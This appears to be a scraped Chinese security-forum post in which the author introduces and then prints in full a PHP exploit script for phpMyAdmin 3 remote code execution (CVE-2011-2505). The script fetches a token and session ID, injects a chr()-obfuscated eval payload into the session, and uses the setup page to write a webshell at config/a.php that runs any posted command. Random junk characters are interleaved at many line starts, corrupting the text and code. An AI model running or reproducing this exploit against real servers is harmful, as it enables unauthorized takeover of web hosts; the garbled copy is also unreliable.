phpadmin3 remote code execute php版本exploit

admin

最近在家做专职奶爸，不谙圈内事很多months了，博客也无更新。
8 q/ ?& L8 U0 M. y# b' x
昨夜带孩子整夜未眠，看到黑哥在php security群里关于phpmyadmin3漏洞的讨论，虽然之前没看过漏洞代码，不过前段时间还是在微博上看到wofeiwo的exp了，不过据黑哥说有不鸡肋的利用方法，于是夜里翻代码出来研究了翻，写出了这个冷饭exp，由于我搞的晚了，之前已经很多人研究了写exp了，于是我这个属于炒冷饭，权当研究研究打发时间了。

首先赞下wofeiwo的python版本的exp，再赞下wofeiwo跟superhei的钻研精神，学习的榜样啊。不过之前那个exp利用起来是有一些限制的：
一是session.auto_start = 1；
% s7 ^! Z- N: @& a; F二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
当然还有第三点大家都不可以逾越的鸿沟：config目录存在且可写。

$ f: e) `' @: F- Q在群里看了黑哥的发言后，再看了下代码，发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。
: l0 {. r0 |; ^
于是写了这个php版本的exp，代码如下：

#!/usr/bin/php
' V2 r$ l% W+ g' I1 N! H* x; c<?php
6 ?0 k5 Y+ T$ u9 |: W4 Cprint_r('
+---------------------------------------------------------------------------+
: g% _0 A% k; u1 o6 H( ypma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
by oldjun(www.oldjun.com)
welcome to www.t00ls.net
mail: oldjun@gmail.com
Assigned CVE id: CVE-2011-2505
' U" h$ ]5 u" Y; ~0 t: L+---------------------------------------------------------------------------+
');
. ~( }/ w+ N. @. f& e
/**
* working when the directory:"config" exists and is writeable.
**/
, [( Y, t5 M- E! |! Z
if ($argc < 3) {
5 N( h4 e  S: l. E* k% R    print_r('
. i8 c0 C0 i; `0 M. m: a+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path
host:      target server (ip/hostname)
9 v# z" x4 I) a% M4 o0 u) gpath:      path to pma3
4 w# l7 K% K2 zExample:
3 i, W4 a" Z* L3 c2 Dphp '.$argv[0].' localhost /pma/
: {( ?; E1 s$ @0 N. d* E1 G+---------------------------------------------------------------------------+
) F/ U2 J/ s8 `');
    exit;
}
9 f5 z# B& J! V; x, i, ?- j
$host = $argv[1];
0 w; m! D: o$ {) }- X# L* N/ }+ ?$path = $argv[2];

+ U+ m3 d+ L; C- U1 }/ l/**
& \2 {& A+ ~* M! b2 q. |) T * Try to determine if the directory:"config" exists
**/
: {8 l5 s9 U5 H' c# ]: cecho "[+] Try to determine if the directory:config exists....\n";
  J6 n, i  B# t# r/ P4 P0 o$returnstr=php_request('config/');
% `8 j% ]' n7 N: d+ Eif(strpos($returnstr,'404')){
5 V2 o( d$ g7 w& P+ S    exit("[-] Exploit Failed! The directory:config do not exists!\n");
}
2 v1 n+ I. g' t8 k$ y" T
8 i2 j  j1 c* Z/**
8 W" o7 F. n1 m. G- d7 W * Try to get token and sessionid
( w+ U8 ?, Y' T3 J4 Z# _8 W1 K2 [**/
echo "[+] Try to get token and sessionid....\n";
' }4 z9 T$ h' ^8 R$result=php_request('index.php');
. _2 D& R0 v4 S( X# Upreg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
$token=$resp[3];
- L. `' l/ z9 G! f' e% [5 t. G1 a$sessionid=$resp[1];
if($token && $sessionid){
    echo "[+] tokentoken\n";
; g1 N' X. `) r" n. v    echo "[+] Session IDsessionid\n";
}else{
3 k7 E( q$ T; L( ~    exit("[-] Can't get token and Session ID,Exploit Failed!\n");
( u( q+ _! j* }1 S+ R4 G$ O9 z}
- W! |2 a6 R$ _  g( a! `
1 ]6 u% m' G4 |) H8 v+ f/**
9 h0 c. l6 Z- P' a * Try to insert shell into session
**/
  _4 ?4 I3 L/ hecho "[+] Try to insert shell into session....\n";
php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.
! o5 |, O( W& T* ?
/**
* Try to create webshell
! N# G! h/ s+ s**/
echo "[+] Try to create webshell....\n";
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
/**
5 u) x' I" e2 E4 z2 S3 Y * Try to check if the webshell was created successfully
**/
echo "[+] Try to check if the webshell was created successfully....\n";
! B2 K3 R. f( y! B. n4 S6 B+ ]$content=php_request('config/config.inc.php');
if(strpos($content,'t00ls')){
0 J. A/ M) D  x7 T0 R6 V, p! r    echo "[+] Congratulations! Expoilt successfully....\n";
    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
) [/ ?) x5 X. K% J}else{
    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
4 X- A! T& Y- K4 G( `( s! P5 [# d}

function php_request($url,$data='',$cookie=''){
1 `. \3 E3 u' s' b# ~% K! U    global  $host, $path;
! }5 d3 V+ Z9 Y; j* B3 r3 E   
    $method=$data?'POST':'GET';
   
  N1 H* v0 ~; \0 `/ e    $packet = $method." ".$path.$url." HTTP/1.1\r\n";
    $packet .= "Accept: */*\r\n";
- L: M& s, V  i  m( Y2 M    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
7 `# {1 e' O4 |    $packet .= "Host: $host\r\n";
    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
( B1 o5 U! D% U    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
    $packet .= $cookie?"Cookie: $cookie\r\n":"";
9 j8 i6 G  d) L    $packet .= "Connection: Close\r\n\r\n";
    $packet .= $data?$data:"";
/ @& h% b7 \  n& N& ?9 U  u
    $fp = fsockopen(gethostbyname($host), 80);
$ ]; ~- v$ _; o8 T  g    if (!$fp) {
- }) H$ L) @; h    echo 'No response from '.$host; die;
    }
    fputs($fp, $packet);
: F0 N4 R7 B6 s+ q7 U2 ^
6 d$ \) D# @) o% f+ A% j    $resp = '';
2 D' H5 Z# F# x# p4 h8 y2 z
    while ($fp && !feof($fp))
8 Y2 r7 j! t7 C8 S; T( L' d        $resp .= fread($fp, 1024);

    return $resp;
: r( [1 k% h$ C, Q. C- ]" h}
6 U* R& u2 T+ \. A3 H9 b   
+ b; e  d8 d/ |! e?>
.